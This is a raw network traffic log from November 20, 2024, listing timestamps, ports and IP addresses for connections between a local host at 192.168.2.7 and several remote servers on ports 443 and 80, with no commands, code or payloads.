Nov 20, 2024 21:05:53.344510078 CET	49862	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:53.344540119 CET	443	49862	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:53.391597033 CET	443	49865	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.391765118 CET	443	49865	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.391841888 CET	49865	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:53.392765045 CET	49865	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:53.392808914 CET	443	49865	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.398578882 CET	443	49863	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.398638964 CET	443	49863	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.398724079 CET	49863	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:53.398737907 CET	443	49863	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.398803949 CET	443	49863	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.398839951 CET	49863	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:53.398865938 CET	49863	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:53.399652004 CET	443	49866	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.399687052 CET	443	49866	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.399739981 CET	49866	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:53.399750948 CET	443	49866	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.399801970 CET	443	49866	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.399821043 CET	443	49866	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.399852991 CET	49866	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:53.399868011 CET	49866	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:53.403769016 CET	49863	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:53.403786898 CET	443	49863	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.406789064 CET	443	49867	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.406843901 CET	443	49867	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.406862974 CET	443	49867	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.406900883 CET	49867	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:53.406930923 CET	443	49867	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.406975985 CET	49867	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:53.406975985 CET	49867	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:53.407099009 CET	443	49867	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.407222033 CET	443	49867	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.407334089 CET	49867	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:53.412321091 CET	49866	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:53.412337065 CET	443	49866	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.444344044 CET	49867	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:53.444385052 CET	443	49867	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.472939968 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.473069906 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.473131895 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.473258972 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.473297119 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.473359108 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.473396063 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.473457098 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.473488092 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.474219084 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.474256992 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.474528074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.474562883 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.474775076 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.474811077 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.474915028 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.474951029 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.475605965 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.475647926 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.475805998 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.476454020 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.476495981 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.476766109 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.476803064 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.477302074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.477344990 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.477842093 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.477881908 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.478179932 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.478228092 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.478697062 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.478737116 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.479007006 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.479571104 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.479617119 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.479849100 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.479887962 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.480366945 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.480508089 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.480839014 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.481121063 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.481165886 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.481565952 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.481609106 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.481743097 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.481781006 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.482398033 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.482460022 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.482477903 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.482578039 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.483449936 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.483500957 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.483660936 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.483700037 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.484066963 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.484111071 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.484514952 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.485002995 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.485016108 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.485053062 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.485089064 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.485759974 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.485827923 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.485872030 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.486243010 CET	443	49868	108.139.47.108	192.168.2.7
Nov 20, 2024 21:05:53.486346960 CET	443	49868	108.139.47.108	192.168.2.7
Nov 20, 2024 21:05:53.486654043 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.486690998 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.486721992 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.486722946 CET	49868	443	192.168.2.7	108.139.47.108
Nov 20, 2024 21:05:53.486740112 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.487457037 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.487571955 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.487621069 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.488357067 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.488368988 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.488409042 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.489156008 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.489181042 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.489233017 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.489461899 CET	443	49869	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:53.490010023 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.490273952 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.490369081 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.490847111 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.490931988 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.491153002 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.491250992 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.491703033 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.491740942 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.491887093 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.493041992 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.493092060 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.493146896 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.493182898 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.493763924 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.493801117 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.494024038 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.494054079 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.494245052 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.494283915 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.494333029 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.494366884 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.495100021 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.495141029 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.495202065 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.495237112 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.495903015 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.495944977 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.496062994 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.496098042 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.496754885 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.496922970 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.496934891 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.496995926 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.497638941 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.497653961 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.497701883 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.497714996 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.498615980 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.498672009 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.498842955 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.498886108 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.499324083 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.499367952 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.499564886 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.499608040 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.500119925 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.500166893 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.533432007 CET	443	49861	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:53.536107063 CET	443	49861	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:53.536284924 CET	49861	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:53.541693926 CET	49869	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:53.552551985 CET	49868	443	192.168.2.7	108.139.47.108
Nov 20, 2024 21:05:53.552586079 CET	443	49868	108.139.47.108	192.168.2.7
Nov 20, 2024 21:05:53.557068110 CET	49869	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:53.557082891 CET	443	49869	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:53.557598114 CET	49869	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:53.557602882 CET	443	49869	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:53.559273005 CET	49861	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:53.559312105 CET	443	49861	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:53.704031944 CET	443	49872	20.110.205.119	192.168.2.7
Nov 20, 2024 21:05:53.709728003 CET	49872	443	192.168.2.7	20.110.205.119
Nov 20, 2024 21:05:53.709794998 CET	443	49872	20.110.205.119	192.168.2.7
Nov 20, 2024 21:05:53.710257053 CET	443	49872	20.110.205.119	192.168.2.7
Nov 20, 2024 21:05:53.727109909 CET	49872	443	192.168.2.7	20.110.205.119
Nov 20, 2024 21:05:53.727278948 CET	49872	443	192.168.2.7	20.110.205.119
Nov 20, 2024 21:05:53.727293968 CET	443	49872	20.110.205.119	192.168.2.7
Nov 20, 2024 21:05:53.767364025 CET	443	49872	20.110.205.119	192.168.2.7
Nov 20, 2024 21:05:53.768798113 CET	49872	443	192.168.2.7	20.110.205.119
Nov 20, 2024 21:05:53.784648895 CET	443	49862	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:53.784698963 CET	443	49862	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:53.784951925 CET	49862	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:53.785002947 CET	443	49862	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:53.787789106 CET	443	49862	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:53.787863016 CET	49862	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:53.800523996 CET	443	49871	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:53.804135084 CET	49871	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:53.804167032 CET	443	49871	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:53.804611921 CET	49871	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:53.804617882 CET	443	49871	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:53.831484079 CET	443	49859	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:53.831604004 CET	443	49859	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:53.832109928 CET	49859	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:53.832596064 CET	49859	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:53.832617998 CET	443	49859	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:53.833627939 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:53.857069016 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:53.857105970 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:53.857675076 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:53.857683897 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:53.862402916 CET	49862	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:53.862471104 CET	443	49862	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:53.904177904 CET	443	49801	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:53.904210091 CET	443	49801	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:53.904231071 CET	443	49801	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:53.904320002 CET	49801	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:53.904392004 CET	443	49801	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:53.904422998 CET	443	49801	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:53.904462099 CET	49801	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:53.904494047 CET	49801	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:53.910311937 CET	49801	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:53.910367966 CET	443	49801	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:53.910402060 CET	49801	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:53.910418034 CET	443	49801	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:53.928680897 CET	443	49869	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:53.928767920 CET	443	49869	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:53.928980112 CET	49869	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:53.930943012 CET	49869	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:53.930958033 CET	443	49869	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:53.930969954 CET	49869	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:53.930977106 CET	443	49869	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:53.946841955 CET	443	49875	23.44.203.84	192.168.2.7
Nov 20, 2024 21:05:53.947226048 CET	49875	443	192.168.2.7	23.44.203.84
Nov 20, 2024 21:05:53.947252035 CET	443	49875	23.44.203.84	192.168.2.7
Nov 20, 2024 21:05:53.948312044 CET	443	49875	23.44.203.84	192.168.2.7
Nov 20, 2024 21:05:53.948374033 CET	49875	443	192.168.2.7	23.44.203.84
Nov 20, 2024 21:05:53.949544907 CET	49875	443	192.168.2.7	23.44.203.84
Nov 20, 2024 21:05:53.949605942 CET	443	49875	23.44.203.84	192.168.2.7
Nov 20, 2024 21:05:53.954413891 CET	49880	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:53.954462051 CET	443	49880	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:53.954521894 CET	49880	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:53.955770016 CET	49880	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:53.955787897 CET	443	49880	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:53.963299036 CET	443	49873	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:53.963723898 CET	49873	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:53.963751078 CET	443	49873	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:53.964169979 CET	49873	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:53.964176893 CET	443	49873	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:53.993482113 CET	49875	443	192.168.2.7	23.44.203.84
Nov 20, 2024 21:05:53.993500948 CET	443	49875	23.44.203.84	192.168.2.7
Nov 20, 2024 21:05:54.039949894 CET	49875	443	192.168.2.7	23.44.203.84
Nov 20, 2024 21:05:54.040194988 CET	443	49876	23.44.203.84	192.168.2.7
Nov 20, 2024 21:05:54.041022062 CET	49876	443	192.168.2.7	23.44.203.84
Nov 20, 2024 21:05:54.041038036 CET	443	49876	23.44.203.84	192.168.2.7
Nov 20, 2024 21:05:54.044931889 CET	443	49876	23.44.203.84	192.168.2.7
Nov 20, 2024 21:05:54.045017004 CET	49876	443	192.168.2.7	23.44.203.84
Nov 20, 2024 21:05:54.045361042 CET	49876	443	192.168.2.7	23.44.203.84
Nov 20, 2024 21:05:54.045543909 CET	443	49876	23.44.203.84	192.168.2.7
Nov 20, 2024 21:05:54.094949007 CET	49876	443	192.168.2.7	23.44.203.84
Nov 20, 2024 21:05:54.094963074 CET	443	49876	23.44.203.84	192.168.2.7
Nov 20, 2024 21:05:54.144737959 CET	49876	443	192.168.2.7	23.44.203.84
Nov 20, 2024 21:05:54.191457987 CET	443	49872	20.110.205.119	192.168.2.7
Nov 20, 2024 21:05:54.191577911 CET	443	49872	20.110.205.119	192.168.2.7
Nov 20, 2024 21:05:54.191637039 CET	49872	443	192.168.2.7	20.110.205.119
Nov 20, 2024 21:05:54.199757099 CET	49872	443	192.168.2.7	20.110.205.119
Nov 20, 2024 21:05:54.199796915 CET	443	49872	20.110.205.119	192.168.2.7
Nov 20, 2024 21:05:54.246962070 CET	443	49871	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.247021914 CET	443	49871	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.247730970 CET	49871	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.247909069 CET	49871	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.247930050 CET	443	49871	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.247941017 CET	49871	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.247946978 CET	443	49871	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.262463093 CET	49881	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.262533903 CET	443	49881	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.262799025 CET	49881	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.263231039 CET	49881	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.263266087 CET	443	49881	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.291929960 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.292088032 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.292546034 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.293392897 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.293409109 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.293422937 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.293427944 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.296499014 CET	49882	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.296561003 CET	443	49882	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.296719074 CET	49882	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.296884060 CET	49882	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.296907902 CET	443	49882	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.326581955 CET	49883	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:54.326643944 CET	443	49883	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:54.326919079 CET	49883	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:54.327168941 CET	49883	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:54.327182055 CET	443	49883	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:54.334309101 CET	443	49878	204.79.197.219	192.168.2.7
Nov 20, 2024 21:05:54.335593939 CET	49878	443	192.168.2.7	204.79.197.219
Nov 20, 2024 21:05:54.335618019 CET	443	49878	204.79.197.219	192.168.2.7
Nov 20, 2024 21:05:54.336718082 CET	443	49878	204.79.197.219	192.168.2.7
Nov 20, 2024 21:05:54.336797953 CET	49878	443	192.168.2.7	204.79.197.219
Nov 20, 2024 21:05:54.341244936 CET	443	49877	204.79.197.219	192.168.2.7
Nov 20, 2024 21:05:54.343400002 CET	49878	443	192.168.2.7	204.79.197.219
Nov 20, 2024 21:05:54.343528032 CET	443	49878	204.79.197.219	192.168.2.7
Nov 20, 2024 21:05:54.344552040 CET	49877	443	192.168.2.7	204.79.197.219
Nov 20, 2024 21:05:54.344583035 CET	443	49877	204.79.197.219	192.168.2.7
Nov 20, 2024 21:05:54.346101999 CET	443	49877	204.79.197.219	192.168.2.7
Nov 20, 2024 21:05:54.346193075 CET	49877	443	192.168.2.7	204.79.197.219
Nov 20, 2024 21:05:54.347337008 CET	49877	443	192.168.2.7	204.79.197.219
Nov 20, 2024 21:05:54.347414970 CET	443	49877	204.79.197.219	192.168.2.7
Nov 20, 2024 21:05:54.352319956 CET	443	49874	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.357975006 CET	49874	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.358002901 CET	443	49874	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.358319044 CET	49874	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.358326912 CET	443	49874	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.393877983 CET	49877	443	192.168.2.7	204.79.197.219
Nov 20, 2024 21:05:54.393906116 CET	443	49877	204.79.197.219	192.168.2.7
Nov 20, 2024 21:05:54.393904924 CET	49878	443	192.168.2.7	204.79.197.219
Nov 20, 2024 21:05:54.393929958 CET	443	49878	204.79.197.219	192.168.2.7
Nov 20, 2024 21:05:54.416816950 CET	443	49873	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.416924000 CET	443	49873	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.417485952 CET	49873	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.441765070 CET	49878	443	192.168.2.7	204.79.197.219
Nov 20, 2024 21:05:54.442358017 CET	49877	443	192.168.2.7	204.79.197.219
Nov 20, 2024 21:05:54.461823940 CET	49873	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.461858988 CET	443	49873	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.461885929 CET	49873	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.461894035 CET	443	49873	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.468852997 CET	49884	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.468889952 CET	443	49884	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.472055912 CET	49884	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.472383976 CET	49884	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.472398043 CET	443	49884	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.507211924 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:54.507872105 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:54.626919031 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:54.627377987 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:54.772804022 CET	443	49879	20.1.248.118	192.168.2.7
Nov 20, 2024 21:05:54.782536030 CET	49879	443	192.168.2.7	20.1.248.118
Nov 20, 2024 21:05:54.782552004 CET	443	49879	20.1.248.118	192.168.2.7
Nov 20, 2024 21:05:54.783188105 CET	443	49879	20.1.248.118	192.168.2.7
Nov 20, 2024 21:05:54.795891047 CET	443	49874	13.107.246.63	192.168.2.7
